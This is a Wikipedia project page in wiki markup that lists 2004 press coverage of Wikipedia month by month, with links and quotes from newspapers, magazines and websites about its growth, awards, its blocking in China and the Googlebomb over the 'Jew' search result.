* ''[[Prospect (magazine)|Prospect]]'', &quot;[http://www.prospect-magazine.co.uk/start.asp?P_Article=12404 The Microsoft Killers]&quot;, pp. 54-58, Feburary 2004 edition; uses Wikipedia as an example of an open content project. &quot;''Open source software has come of age, and open source working methods are spreading beyond computers.''&quot;
* '''[http://www.feer.com/ Far Eastern Economic Review]''' issue dated February 19, 2004: Wikipedia:It's Wicked (registration required). Enthusiastic reportage, notes the 200,000th English article and the Asian languages Wikipedia is available in. (Also posted to Usenet at [http://groups.google.com/groups?q=Wikipedia+group:rec.arts.sf.fandom&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;oe=UTF-8&amp;as_drrb=b&amp;as_mind=12&amp;as_minm=2&amp;as_miny=2004&amp;as_maxd=13&amp;as_maxm=2&amp;as_maxy=2004&amp;selm=1076633702.2876snx%40aleytys.pc.my&amp;rnum=1]) A pdf of the article can be found at [http://www.theproduct.com/6m105/readings/spring04/encyclopedia.pdf] which is the copy that was carried by the [http://wsj.com Wall Street Journal].
*'''[http://news.scotsman.com/latest.cfm?id=2537363 The Internet Column: WIKI REMARKS]''' from Scotsman.com (Also printed in the (Liverpool) Daily Post) has an article on [[Wiki]]s in general. Quote: &quot;The best known [Wiki] is Wikipedia, an encyclopaedia written entirely using the wiki system. Anyone browsing through Wikipedia can edit any page; so if you know a lot about a specific subject, you can add your knowledge to that subject's page easily.&quot; February 16, 2004.
*British comedian [[Bill Bailey]] being interviewed by [[The Times]] (UK).  Quote: &quot;8:00PM SURFING AND BLOGGING If I'm writing a show I spend a lot of time researching it on the net. I use Wikipedia (www.wikipedia.org) a lot. It's a brilliant online encyclopaedia, invaluable for historical stuff, and probably the most accurate of all those sites.&quot; [http://www.timesonline.co.uk/printFriendly/0,,1-8086-1008394,00.html] February 21, 2004.
*''[[The Guardian]]'', from an article about changing the world.  Quote: &quot;EBay does something no other network has done: it treats the social network as the supply-chain and by building systems of communications and reputation management into the network, turns a group of individuals into an organised, structured and wildly economically viable marketplace. The same can be said at an emergent level about open-source knowledge projects such as the Wikipedia encyclopedia.&quot; [http://media.guardian.co.uk/mediaguardian/story/0,7558,1153687,00.html] February 23, 2004.
*[[m:German TV coverage of Wikipedia|An English translation of the transcript of Wikipedia as a news item in Germany]], includes a screenshot.  [[Wikipedia:Press coverage#German|See below]] for more details.  February 25, 2004.
*[[Kuro5hin]] is apparently the first news site to publish Wikipedia's 500,000 article press release. [http://www.kuro5hin.org/story/2004/2/25/101848/859]
* February 29 - computerworld.co.nz in an article about wikis (about how cool they are) (&quot;''Wicked (good) Wikis''&quot;) mentions Wikipedia as &quot;the largest, and perhaps most ambitious, Wiki in the world ? attempting to capture encyclopedia entries on everything&quot;. [http://www.computerworld.co.nz/news.nsf/UNID/6F8468F2E2C8F1C6CC256E48006422B4?OpenDocument] Also printed in [http://www.darwinmag.com Darwin Magazine] .

===March===
* '''[http://www.thewgalchannel.com/technology/2890759/detail.html New Yahoo! Search Planned To Go Deeper]''', an [[Associated Press]] report, based on this Yahoo Press Release [http://home.businesswire.com/portal/site/google/index.jsp?ndmViewId=news_view&amp;newsId=20040302005391&amp;newsLang=en] &quot;... pay for placement, the company is working with groups like National Public Radio, the Library of Congress, the New York Public Library and Wikipedia to make ...&quot;
** Posted, published, or aired on Local6.com, FL, WSOCtv.com, NC, Hawaii Channel.com, HI, Carolina Channel.com, SC, Click 2 Houston.com, TX, SanDiego Channel.com, CA, NewsNet5.com, OH, NBC4 Columbus.com, OH, KSBW Channel.com, CA, WMUR Channel.com, NH, WBAL Channel.com, MD, News4Jax.com, FL, WPBF Channel.com, FL, ClickonSA.com, TX, Kansas City Channel.com, MO, KMGH, CO, WHIOtv.com, Ohio, WRAL.com, NC, INDYchannel.com, IN, WSBtv.com, GA, Omaha Channel.com, NE, WESH.com, FL, Champlain Channel.com, NY, Bakersfield Channel.com, CA, Jackson Channel.com, MS, Click10.com, FL, Milwaukee Channel.com, WI, WTOV9.com, OH, WJACtv.com, PA, KTVU.com, CA, WDIV, MI, Pittsburgh Channel.com, PA, WISC, WI, Channel Oklahoma.com, OK, New Orleans Channel.com, LA Local6.com, FL - 15 hours ago

* '''[http://www.poynter.org/column.asp?id=32&amp;aid=62126 Wikipedia for Journalists, Trusting a free resource]''', Poynter Online, article by Sree Sreenivasan, and Andrew Lih, Mar. 8, 2004. Explaining Wikipedia as a form of ''participatory journalism''.  &quot;Wikipedia is an Internet-based, volunteer-contributed encyclopedia that in just three years has become a popular and highly regarded reference. It has thousands of international contributors and is the largest example of an open content wiki.&quot;

* '''[http://news.bbc.co.uk/2/hi/technology/3557293.stm The contenders for Google's throne]''', BBC Dot.life, March 22, 2004, talking about Yahoo's search engine, &quot;It has set up a program to index many of the databases held at places such as the US Library of Congress, US National Public Radio, the National Science Digital Library and the Wikipedia online encyclopaedia.&quot;

* '''[http://www.rthk.org.hk/mediadigest/20040316_76_119814.html Wikipedia and the rise of Participatory Journalism]''', ''RTHK Media Digest'', March 2004, by Andrew Lih. Article about origins of Wikipedia and Chinese Wikipedia.

* '''[http://news.independent.co.uk/digital/features/story.jsp?story=504287 A turn up for the books]''', ''The Independent'', pg. 11, Danny Bradbury, March 24, 2004, &quot;Weighty volumes are on their way out. Even CD-Roms are old hat. So why has the biggest online encyclopedia decided to produce a paper version?&quot; Story about Jimbo Wales and Wikipedia.

* '''[http://www.usatoday.com/tech/columnist/andrewkantor/2004-03-26-kantor_x.htm Open-source software offers alternative to off-the-shelf products]''', ''USA Today.com'', Andrew Kantor, March 26, 2004. A story on source products mentions Wikipedia: &quot;To see an incredible example of open-source intellectual collaboration, check out Wikipedia, an online encyclopedia with more than 230,000 articles contributed by anyone who wants to add to it. You might expect it to be a hodgepodge of garbage and rhetoric, but it's not. It's not. It's actually one of the best reference resources on the Web.&quot;

* David Sidwell, &quot;The Web As It Was Meant To Be&quot;, ''The Age'' (Mar. 18, 2004).  &quot;But the idea of web-based creation and updating never really went away. Indeed, it is very much alive in a concept known as a Wiki.&quot;

===April===
*'''[http://www.pcworld.com/resource/printable/article/0,aid,114725,00.asp Beyond Google]''', ''PCWorld'', April 2004, &quot;Or try Wikipedia, a volunteer encyclopedia with a global flavor, for data on topics from math to mythology to the arts.&quot;

*'''[http://www.nytimes.com/2004/04/01/technology/circuits/01askk.html Q. What does the term &quot;wiki&quot; mean with regard to the Web?]''', J. Biersdorfer tech column, April 1, 2004, ''The New York Times'' &quot;The Wikipedia (wikipedia.org) is an ambitious online encyclopedia in several languages that also invites participation.&quot;

*'''[http://www.guardian.co.uk/online/story/0,3605,1182809,00.html Weave a wiki web]''', ''The Guardian'', April 1, 2004. &quot;Wiki sites that work include the impressive Wikipedia, a collaborative encyclopaedia covering every topic imaginable. It puts the wiki concept to practical use, drawing on the combined knowledge and experience of all its contributors to create something informative and authoritative.&quot; ''Reprinted in [http://www.hindu.com/2004/04/02/stories/2004040201702400.htm The Hindu] (India), April 2, 2004.''

*'''[http://www.usatoday.com/money/books/reviews/2004-04-12-future-of-work_x.htm Tomorrow's work forecast]''', ''USA TODAY'', April 12, 2004. &quot;Loose hierarchies. The free online encyclopedia Wikipedia (www.wikipedia.org ) is mostly a volunteer operation, but it employs a few guidelines, such as writing articles from a neutral point of view...&quot;

*'''[http://www.theage.com.au/articles/2004/04/12/1081621875197.html The power of search]''', ''The Age'', April 13, 2004. &quot;By far the best of the free services is Wikipedia, constructed by volunteers. It works on the premise that everyone is an expert in at least one topic and can write an encyclopedic entry that is vetted and corrected by others with enough knowledge to make it authoritative. This peer-to-peer nature has seen Wikipedia grow to one of the biggest resources. However, its open nature means that some controversial materials should be double-checked against other sources for accuracy and objectivity. Wikipedia is available in 73 languages including Catalan, Vietnamese and Greek.&quot;

*'''[http://www.pcmag.com/article2/0,1759,1558375,00.asp 2004 100 Top Websites You Didn't Know You Couldn't Live Without]''', ''PC Magazine'', April 20, 2004. Under [http://www.pcmag.com/article2/0,1759,1555130,00.asp Information] category: &quot;Wikipedia is a collaborative, community-built, open-content encyclopedia; anyone can edit any page, augment an existing entry, or add a new one. Sure, there's a lot of questionable and incomplete content, but you'll also find many fascinating, detailed, well-written articles. Go ahead and make your contribution to the sum of human knowledge.&quot;

*[[Google bomb]] of Wikipedia's [[Jew]] article:
**'''[http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1081998816187&amp;p=1008596975996 Anti-Semitic site bumped off Google's top spot]''' (''Jerusalem Post'', Internet, April 15, 2004) &quot;Utilizing a cyber-petition and some clever HTML programming, a diverse group of Jewish activists, academics and even a US senator managed to replace the top spot with Wikipedia's encyclopedia, which two weeks ago held no rank.&quot; 
**'''[http://www.webpronews.com/news/ebusinessnews/wpn-45-20040416GooglebombingOfJewKeywordContinues.html Googlebombing Of Jew Keyword Continues]''', ''WebProNews'', April 15, 2004, &quot; Daniel Sieradski, editor of Jew School, a Web site dedicated to Jewish fringe culture, has spearheaded a Googlebomb designed to knock JewWatch.com out of the first place. Yesterday, the top listing for the keyword was Wikipedia.org, a reference page devoted to the definition of the word &quot;Jew&quot;.&quot; It was reported later in the article that JewWatch.com was back to the number one spot.
**'''[http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1082606042155 Googling for a better tomorrow]''', ''Jerusalem Post'', Internet, April 22, 2004, &quot;The Wikipedia page (http://en.wikipedia.org/wiki/Jew ) is a lot more user-friendly, and discusses Judaism from an objective, factual point of view &amp;#8211; just the thing for our friends in Wyoming and China.&quot;
**'''[http://msnbc.msn.com/id/4767133/ Google: Watch Out for 'Watch']''', Steven Levy, ''Newsweek'', April 26, 2004, &quot;Soon people may see a different top choice for &quot;Jew&quot;: a hate-free entry in the participatory reference work called Wikipedia.&quot;
**'''[http://www.jta.org/page_view_story.asp?intarticleid=14026&amp;intcategoryid=4 Who can define 'Jew?' Internet flap shows challenge of the digital age]''', ''Jewish Telegraphic Agency'', April 27, 2004, &quot;The Jewschool-led offensive pointed to the online encyclopedia Wikipedia. Within weeks, Wikipedia&amp;#8217;s definition of the word 'Jew' became the first result for that search term.&quot;

*'''[http://www.journalism.co.uk/news/story866.shtml Targeted ads are the route to online profits]''', ''Journalism.co.uk'', April 22, 2004. &quot;Wikipedia, an online encyclopaedia project, invites readers to add or amend information on the site. The site is an interesting example of a project with participatory journalism at its core, said speaker Andrew Lih, assistant professor at Hong Kong University.&quot;

*'''[http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20040422YahooSearchShortcuts.html Yahoo Search Shortcuts]''', ''WebProNews'', April, 22 2004). &quot;Now, Yahoo does offer a built-in encyclopedia search. If you type in 'caterpillar facts' then your top result links to an encyclopedia entry. Now, does this beat wikipedia's [[caterpillar]] entry? No, but it does beat Google's encyclopedia entry.&quot;

*'''[http://www.zdnet.com.au/news/communications/0,2000061791,39145754,00.htm Brisbane council Web site nominated for Web Oscar]''', ''ZDNet'', April 23, 2004). &quot;Receiving multiple [Webby Awards] nominations include iTunes Music Store, Meetup.com, Google, Noggin, Wikipedia and Live 365.&quot;

*'''[http://news.bbc.co.uk/1/hi/technology/3653425.stm A question of trust online]''', ''BBC News'', April 23, 2004. &quot;And there is the wikipedia, a community-written encyclopedia that has evolved over the years from a largely technical bunch of articles into one of the most reliably useful sources of information around, on or off-line.&quot; 

*'''[http://www.salon.com/tech/feature/2004/04/27/wikipedia/index.html Everyone is an Editor]''', ''Salon.com'', April 27, 2004. &quot;Launched in January 2001 with barely a dozen articles, Wikipedia crossed the 500,000 articles mark in February, with posters contributing content in more than 30 languages and, by last measure, at a rate of 300,000 articles per year.&quot;

===May===
*'''[http://www.msnbc.msn.com/id/4815771/ Grass-roots guide to everything]''', ''Newsweek'' and ''Newsweek Society'', May 3, 2004. &quot;Here's an encyclopedia that evokes a variation on the famous Groucho line: would you get your information from a reference work that accepts you as an author?&quot;

*'''[http://yaleglobal.yale.edu/display.article?id=3808 Build an Encyclopedia: Everybody is Invited]''', YaleGlobal Online, May 5, 2004. &quot;Wikipedia - the largest example of these collaborative efforts - is a functioning, user-contributed online encyclopedia that has become a popular and highly regarded reference in just three years of existence.&quot;
** '''[http://www.thejakartapost.com/detaileditorial.asp?fileid=20040508.F01&amp;irec=1 Anyone may contribute to E-encyclopedia]''', ''Jakarta Post (Indonesia)'', May 8, 2004. ''Syndicated version of above Yale Global article''.
** '''Wikipedia builds 'free market of knowledge' ''', ''The Standard (Hong Kong)'', May 10, 2004. ''Syndicated version of above Yale Global article''.

*'''[http://journalism.utexas.edu/onlinejournalism/story17.html Participatory Journalism: The Essence of Wikipedia]''', International Symposium on Online Journalism (from the University of Texas), May, 2004. &quot;Wiki wiki -- Hawaiian for &quot;quick&quot; -- is at the root of Wikipedia, a encyclopedia website where any page can be edited by users with the simple click of an &quot;edit this page&quot; button.&quot; There is also a PDF of a paper from that Symposium by Andrew Lih, of Hong Kong University: [http://journalism.utexas.edu/onlinejournalism/wikipedia.pdf]

* Wikipedia has '''[http://www.webbyawards.com/main/webby_awards/nominees.html#community won a Webby award]''' in the &quot;Community&quot; category. Related coverage links: [http://slashdot.org/articles/04/05/12/2221254.shtml?tid=126&amp;tid=95 Slashdot], [http://news.bbc.co.uk/1/hi/technology/3707313.stm BBC], [http://macworld.co.uk/news/main_news.cfm?NewsID=8671 Macworld UK], [http://www.investors.com/breakingnews.asp?journalid=21170833&amp;brk=1 Investors.com] &lt;!--[http://www.pcpro.co.uk/?http://www.pcpro.co.uk/news/news_story.php?id=57424 PC Pro]--&gt;

*'''[http://www.globeandmail.com/servlet/story/RTGAM.20040514.wfrank15/BNStory/Entertainment FrankenArt: The mix and mash future]''', ''The Globe and Mail'', May 15, 2004. &quot;Wikipedia is a so-called &quot;open content&quot; on-line encyclopedia where visitors can contribute content to the articles, albeit at the discretion of editors.&quot;

* The [[Australia]]n [[technology]] magazine ''[[Australian Personal Computer]]'' have listed Wikipedia.com [''sic''] as their chosen site of the month in their Workship section (page 119, June 2004 edition - released in May)

*'''[http://www.computerworld.com.au/pp.php?id=854351844&amp;pp=1&amp;fp=16&amp;fpid=0 Chinese Internet users work to make knowledge free]''', IDG News Service, May 17, 2004. &quot;Chinese Wikipedia ([http://zh.wikipedia.org/ http://zh.wikipedia.org]) is a Chinese-language offshoot of Wikipedia, an online English-language encyclopedia that is also available in a host of other languages.&quot;

*'''[http://www.delawareonline.com/newsjournal/life/2004/05/18janitorshelpkee.html 'Janitors' help keep Wikipedia reliable]'''. The News Journal, May 18, 2004. &quot;If the concept is idealistic, then it also is a bit mad: a bottomless, evolving database of human knowledge, with articles mundane and profound, which anyone with an Internet connection has access to create and edit. That's the notion behind Wikipedia (www.wikipedia.org)...&quot;

* '''&quot;Hit the web as you hit the books: A roundup of reference sites for swamped students&quot;''' (St. John's Telegram (Newfoundland), May 21, 2004 - article not online) recommends &quot;www.wikipedia.com&quot; (''sic''): &quot;Wikipedia -- which I hope to write about in detail in an upcoming column -- is an open-ended encyclopedia that is constantly being revised and amended by readers, but which is addictive for surfers.&quot;

*'''[http://www.businessweek.com/magazine/content/04_22/b3885044.htm Out-Googling The Top Search Engine: Online encyclopedias yield more specialized results]'''. BusinessWeek Online, May 31, 2004. &quot;WIKIPEDIA IS ONE of the more remarkable projects on the Web. The online encyclopedia (www.wikipedia.com) is the work of 6,000-odd volunteers covering a huge range of subjects, even though it does better on science and technology than on arts and culture.&quot; Even though it incorrectly states, &quot;If you find an error, you are welcome to suggest a correction. And if you find a topic that isn't covered, you are welcome to create a new article. (An editorial group decides which corrections and contributions merit posting.)&quot;

*'''[http://www.dailykos.com/ Daily Kos]''', one of the largest political blogs, cites us favorably, saying:
::&quot;Ahh, this is a cool day in dKos history -- a team of Kosmopolitans has put together the dKosopedia -- a Daily Kos wiki.
::I can almost hear you all thinking, &quot;what the heck is a wiki?&quot; It's a collaborative website that will allow this community to build a political encyclopedia (from a liberal standpoint, of course). In short, anyone will be able to contribute encyclopedia entries on a variety of political subjects.
::The best example of a wiki is the Wikipedia, which is an open source, collaborative encyclopedia with over 274,000 entries, all of them community submitted.
::We hope the dKosopedia will become the progressive-political version of the Wikipedia.&quot;

===June===
*'''[http://icwales.icnetwork.co.uk/0100news/0200wales/tm_objectid=14292033&amp;method=full&amp;siteid=50082&amp;headline=-name_page.html Untitled review]''' ic Wales, June 1, 2004. Wikipedia is &quot;the web's most stunning and exciting site.&quot;

*'''[http://news.yahoo.com/news?tmpl=story&amp;u=/fo/20040603/bs_fo/e81976d1c5a2d1d8620bdd2922f73edd Veni, Vidi ...Wiki?]''' Forbes.com, June 3, 2004. &quot;Wikipedia, a Web encyclopedia run by a nonprofit, boasts 274,000 articles written by 'experts' in its English edition.&quot;

*'''[http://www.businessweek.com/magazine/content/04_23/b3886141.htm Wikis' Winning Ways]'''. BusinessWeek Online, June 7, 2004. &quot;With etiquette out of the way, there's no better place to start a wiki tour than the big kahuna of wikis: Wikipedia, an online encyclopedia with 280,000 articles in English and more than 380,000 more in 49 other languages.&quot;

*'''[http://www.businessweek.com/magazine/content/04_23/b3886138.htm Something Wiki This Way Comes]'''. BusinessWeek Online, June 7, 2004. &quot;On the site, a free online encyclopedia called Wikipedia, thousands of volunteers had written a breathtaking 500,000 articles in 50 languages since 2001 -- all thanks to the defining feature of wikis.&quot;

*'''[http://www.webpronews.com/insiderreports/searchinsider/wpn-49-20040602WikiBackLinkSpamTactic.html Wiki Back Link Spam Tactic]'''. Webpronews.com, June 2004. &quot;Of course wikis emerged not as an SEO tool but as a means of collaborating on content. The Wikipedia is one example of how this can work. For their entry on 'wiki' you simply click edit and see a page similar to a forum posting page where you can alter the text.&quot;

*'''[http://www.investors.com/editorial/tech01.asp?v=6/5 Need To Do Research? Go Further Than Google]''' Investors.com, June 7, 2004. &quot;One increasingly popular online tool is wikipedia.org, a collaborative encyclopedia that lets any user edit an entry.&quot;

*'''[http://www.economist.com/displaystory.cfm?story_id=2747734 Open source -- Beyond capitalism?]'''  Economist, June 10, 2004 (Subscription only).  &quot;The surprisingly good open-source encyclopedia (see Wikipedia.org) is another example [of open source]. Like software, it is modular, which allows different people to work on different bits.&quot;

*'''Reporter's nose for news discovers foul play''', Virginian-Pilot (Norfolk, VA), June 11, 2004 (story not online). Wikipedia is the victim of a cruel hoax: &quot;The online encyclopedia &quot;Wikipedia&quot; created a version of [[Chesapeake, Virginia|Chesapeake]]'s history that was literally a bunch of bull.&quot;  The edit in question was put in on [http://en.wikipedia.org/w/wiki.phtml?title=Chesapeake%2C_Virginia&amp;diff=3860769&amp;oldid=3414810 May 2] and not removed until June 3.   

*'''[http://www.theinquirer.net/?article=16551 WordIQ's use of Wikipedia content crosses licence line]''' the Inquirer, June 13, 2004. &quot;Take for instance a search for the 'Iran-Contra affair', a subject the mass media appears to have forgotten in recent times. The results page from Wikipedia.org for such a search is [[Iran-Contra Affair|here]], and the one from wordIQ.com is [[Iran-Contra Affair|here]]. Notice any similarities?&quot; UPDATE: [http://www.theinquirer.net/?article=16564]

*Wikipedia blocked in China, related news stories below:
**'''[http://www.chinatechnews.com/index.php?action=show&amp;type=news&amp;id=1316 Wikipedia Inaccessible In China]''' ChinaTechNews.com, June 14, 2004. &quot;According to several Internet reports both the Chinese and English-language versions of Wikipedia have now been blocked and are inaccessible from the Chinese mainland.&quot;
**'''[http://www.itworld.com/Tech/2987/040614wikipedia Chinese censors block access to Wikipedia]''' ITworld.com, June 14, 2004. &quot;Chinese censors have blocked access to an online encyclopedia called Chinese Wikipedia that was created as a free and open source of information for Chinese Internet users, according to several contributors to the site.&quot;
**'''[http://arstechnica.com/news/posts/1087234431.html China blocks Wikipedia]''' arstechnica.com, June 14, 2004. &quot;Ten days ago the Chinese government blocked Internet access to the Chinese version of the Wikipedia, a community-built encyclopedia that polices itself with a policy of political neutrality.&quot;
**'''[http://yro.slashdot.org/article.pl?sid=04/06/15/0122201 China Blocks Wikipedia]''' Slashdot.org, June 14, 2004. &quot;China government is, again, restraining the access to internet. Ars Technica says they are now  blocking the Wikipedia, the free encyclopedia. How much time will it take for to Slashdot be blocked?&quot;

* Wikipedia has  '''[http://www.aec.at/en/prix/winners2004.asp won a Golden Nicas award 2004]''' in the &quot;Digital Communities&quot; category.

*'''[http://www.time.com/time/asia/tga/article/0,13673,501040621-650769,00.html Everyone's an expert]''' Time Asia, June 14, 2004. &quot;Called Wikipedia.org (wiki means 'superfast' in Hawaiian and is also the name of the collaborative software upon which the site is built), the encyclopedia features more than 700,000 hypertexted articles on everything from 'Anthrax (band)' to 'Zeppelin.'&quot;

*&quot;COOL WEB SITE OF THE WEEK&quot; - ''Albuquerque Journal'' (New Mexico), June 17, 2004: &quot;Sometimes when you read an online encyclopedia, you know the information is wrong. With that in mind, Jimmy Wales and Larry Sanger started Wikipedia in 2001. Three years later, more than 6,000 contributors have written about 600,000 articles.&quot;

* '''[http://www.time.com/time/europe/magazine/article/0,13005,901040719-653780,00.html Everyone's an Expert]''' Time Europe, June 20, 2004. Same as the above article for Time Asia, but with a different picture.

*'''[http://www.taipeitimes.com/News/biz/archives/2004/06/27/2003176755 The jury is still out on open source]''' The Guardian, June 27, 2004, p. 11 (available online with subscriber access, link is to a reprint by The Taipei Times). Mentions Wikipedia as an example of volunteer efforts in contrast with open source business models.

* Even mentioned in a small, central Wisconsin newspaper. [http://www.wisinfo.com/newsherald/mnhlocal/280839343001272.shtml Digital or print?] ''Marshfield News Herald'', June 28, 2004: &quot;And a mass assembly of expert Uncle Joe's can actually forge an informative, albeit imperfect bond, such as found on wikipedia.com, a free encyclopedia that allows anyone to contribute.&quot;

===July===
*'''[http://slashdot.org/article.pl?sid=04/07/07/0740232&amp;mode=thread&amp;tid=126&amp;tid=188&amp;tid=95 Wikipedia Hits 300,000 Articles]''' slashdot.org, July 7, 2004. &quot;The English Wikipedia has 90.1 million words across 300,000 articles, compared to Britannica's 55 million words across 85,000 articles.&quot; 
**Note - I submitted this. [[User:Raul654|&amp;rarr;Raul654]] 18:39, Jul 13, 2004 (UTC) 

* '''[http://www.boston.com/business/technology/articles/2004/07/12/one_great_source____if_you_can_trust_it/ One great source -- if you can trust it]''' Boston Globe, July 12, 2004 (Boston.com). &quot;The world's biggest encyclopedia resides on the Internet, and anyone can use it for free. It's called Wikipedia.&quot;

* '''[http://seattlepi.nwsource.com/business/181656_msftnotebook12.html?source=rss Microsoft Notebook: Encyclopedia editor finds his 'Holy Grail' with Encarta]''' seattlepi.com, July 12, 2004. &quot;The Web itself is another source of competition. With free online information sources becoming more pervasive and comprehensive, Encarta could face an increasingly tougher task in appealing to consumers. One competitor is Wikipedia, a free online encyclopedia with articles and information compiled by volunteer contributors.&quot;

* '''[http://www.voanews.com/article.cfm?objectID=87D7CF64-ACF7-40F7-8CBF67F74E5081CE 'Open-Content' Web Encyclopedia Encourages User Interactivity]''' [[Voice of America]], July 15, 2004. &quot;Encyclopedias have been around in one form or another for thousands of years. But in recent years competitors have emerged to challenge the traditional printed encyclopedia. First there were versions on compact disks and now they're online. While there may be lots of encyclopedias on the Internet, perhaps one of the most unusual is Wikipedia.&quot;

* '''How the South African revolution destroyed its children''' The Sunday Times Culture magazine (London), July 18, 2004. Footer: &quot;Read on...&quot; websites: en.wikipedia.org/wiki/Apartheid Good entry on interactive encyclopedia.

* '''[http://www.suntimes.com/output/worktech/cst-fin-andy20.html Web encyclopedia lets readers cut through to basics]''' Chicago Sun-Times, July 20, 2004. &quot;Fortunately, the same community (i.e., humans) that ruined the Web is revolutionizing the encyclopedia, with the development of a free, community-based, ever-evolving reference work called the Wikipedia (www.wikipedia.org).&quot;  Specifically mentions the [[Lee Harvey Oswald]] article and how the writer contributed to it. 

* '''[http://www.timesonline.co.uk/article/0,,7947-1187423,00.html Wikipedia]''' The Times (London), July 20, 2004. &quot;If you still have any old Britannicas clogging your bookshelves, it is time finally to haul them off to Oxfam. Wikipedia, the world's fastest-growing English-language encyclopedia, has just published its 300,000th lucid entry, eclipsing Britannica by a factor of three. It is a scholarly, thorough work of reference that costs nothing to consult apart from an internet connection. Best of all, entries are endlessly updated to keep them relevant, errors are gladly corrected within minutes, and - unlike its stuffier predecessors - it respects the specialist knowledge of you, its user.&quot;

*'''[http://www.slate.com/id/2104087/ Art Mobs: Can an online crowd create a poem, a novel, or a painting?]''' Slate.com, July 22, 2004. &quot;Mobs have been getting unusually good press these days. . . Now there's evidence they may even be creative. A few weeks ago, Wikipedia&amp;mdash;an &quot;open content&quot; encyclopedia where anybody can write or edit an entry&amp;mdash;produced its 300,000th article. At 90.1 million words, Wikipedia is larger than any other English-language encyclopedia, including the latest edition of the Encyclopedia Britannica, which has only 85,000 articles and 55 million words.&quot; 

*'''[http://www.chron.com/cs/CDA/ssistory.mpl/memo/2695812 Wiki watch. Pi day. Revolution rock.]''' Houston Chronicle, July 22, 2004. &quot;Protest is in the air today, but why not ease into it? Life's too short, and so am I. Besides, I just, very belatedly, encountered the concept of wiki. As opposed to tiki, there are no palms or torches associated with wiki. Wiki involves open, free-form, anarchistic editing of Web sites etc. And here I've used online Wikipedia dozens of times without thinking about what the name might mean. Here's an insanely wonderful story about creation by &quot;mobs.&quot; &quot;

*'''[http://www.atimes.com/atimes/China/FG22Ad04.html A blogger's tale: The Stainless Steel Mouse]''' Asia Times Online, July 22, 2004. Article about blogging in China also mentions Wikipedia (&quot;The Internet is also supporting an informal group of Chinese volunteers at work building an impressive online encyclopedia called Chinese Wikipedia to create a free source of information for Chinese Internet users.&quot;) and discusses the blocking of Wikipedia in China in June.

* '''Surfing the Net with kids''' Boston Globe, July 23, 2004 (not online). Recommends Wikipedia's [[Ronald Reagan]] article, citing it as a good educational resource: &quot;I like this detailed, illustrated Reagan biography from Wikipedia because the hyperlinks to other Wikipedia articles make it easy to learn more about Reaganomics, the Cold War, the Strategic Defense Initiative (dubbed &quot;Star Wars&quot; by opponents), and other related topics. Wikipedia is an open-content project with encyclopedia articles contributed and edited by anyone who wants to. As part of this group editorial process, at least one reader disputed the neutrality of this Reagan biography. What do you think? Does this Wikipedia article show an obvious bias?&quot; 

* '''[http://www.theregister.co.uk/2004/07/23/wiki_fiddlers_big_book/ Wiki-fiddlers defend Clever Big Book]''' The Register, July 23, 2004. &quot;Wiki-fiddlers* may be accused of many things, but having a robust sense of humor is not one of them. In the week that colleague Ashlee Vance pointed out a few failings in the archive that isn't an archive, we took a pop at the encyclopedia that isn't an encyclopedia. Our jibe that the Wikipedia is the world's most useless encyclopedia drew precisely two angry responses. But both illustrate the condition perfectly.&quot; -- ''features two angry letters from [[Wikipedia:Wikipedian|Wikipedian]]s''.

*'''[http://news.ft.com/servlet/ContentServer?pagename=FT.com/StoryFT/FullStory&amp;c=StoryFT&amp;cid=1087374027304 Web of words challenges traditional encyclopedias]''' Financial Times, July 28, 2004. &quot;If you thought open source was only about software, think again. The English-language version of Wikipedia, an online encyclopedia produced by a worldwide community of volunteers, has reached 300,000 articles - three times as many as the Encyclopedia Britannica.&quot;

*'''[http://interviews.slashdot.org/interviews/04/07/28/1351230.shtml?tid=146&amp;tid=95&amp;tid=11 Slashdot interview with Jimbo], July 28, 2004.

* '''Wiki May Alter How Employees Work Together''' ''[[The Wall Street Journal]]'', July 29, 2004, p. B1. (available online with subscriber access).  &quot;The prospects of moving wikis into the office are good, especially since they are already working well in nonwork situations such as the well-known Wikipedia.  This free online encyclopedia, compiled since early 2001 by volunteer writers, now has hundreds of thousands of entries, making it bigger than any other encyclopedia.&quot; WSJ, p. B2, Column 6.

* July 28th, 2004 Small article about the existence of the Thai wikipedia in the database section of the Bangkok post

===August===

*'''[http://www.signonsandiego.com/news/computing/personaltech/20040802-9999-mz1b2abpcs.html Learning the AB-PCs]''' San Diego Union-Tribune, August 3, 2004. In article about student computer use, educational technology professor says of his 16-year-old, &quot;If he wants to know something, he just goes to Dictionary.com or Wikipedia.org.&quot;

*'''[http://www.theglobeandmail.com/servlet/ArticleNews/TPStory/LAC/20040804/CABOOKS04/TPBusiness/General How to gain power at work in the future: Give it away]''' The Globe and Mail, August 4, 2004. Review of Thomas Malone's book ''The Future of Work''. &quot;The Wikipedia on-line encyclopedia allows anybody to contribute to it, with no centralized quality control. 'Its success so far shows that amazingly loose hierarchies can create impressively large and complex results,' Prof. Malone says.&quot;

*'''[http://chiptalk.com/linkpage.htm The world's largest encyclopedia]''' August 6, 2004.   Wikipedia was discussed on ''Chip Talk'', a one-minute [[Dave Ross]] radio feature about technology which is aired several times during the day on news stations across the United States.  The URL was given on air and posted on the Chip Talk website.

*'''The thinker's new best friend ; As the internet overtakes the encyclopedia, the editor of a new dictionary asks if this is the end for the multi-volume reference book''' London Evening Standard, August 9, 2004 (not online). Jonathon Green, author of the ''Cassell Dictionary of Slang'', reviews Wikipedia's content: &quot;I checked out &quot;[[slang]]&quot; and was impressed. A solid overview, with references to cant (underworld slang), rhyming slang, Polari (camp and theatrical), and even French butcher's slang Louchebem (of which I was ignorant). All these topics are covered, some with a specimen vocabulary-and every article offers links within Wikipedia and elsewhere on the net.&quot;

*'''[http://www.syracuse.com/news/poststandard/index.ssf?/base/news-0/1092128190206490.xml Doc corrects record on Apple vs. Microsoft]''' Syracuse Post-Standard, August 10, 2004. &quot;A good source for unbiased information on the case is the Wikipedia encyclopedia at &lt;nowiki&gt;http://en.wikipedia.org&lt;/nowiki&gt;. Use the Wikipedia search form and look for Apple vs. Microsoft.&quot;

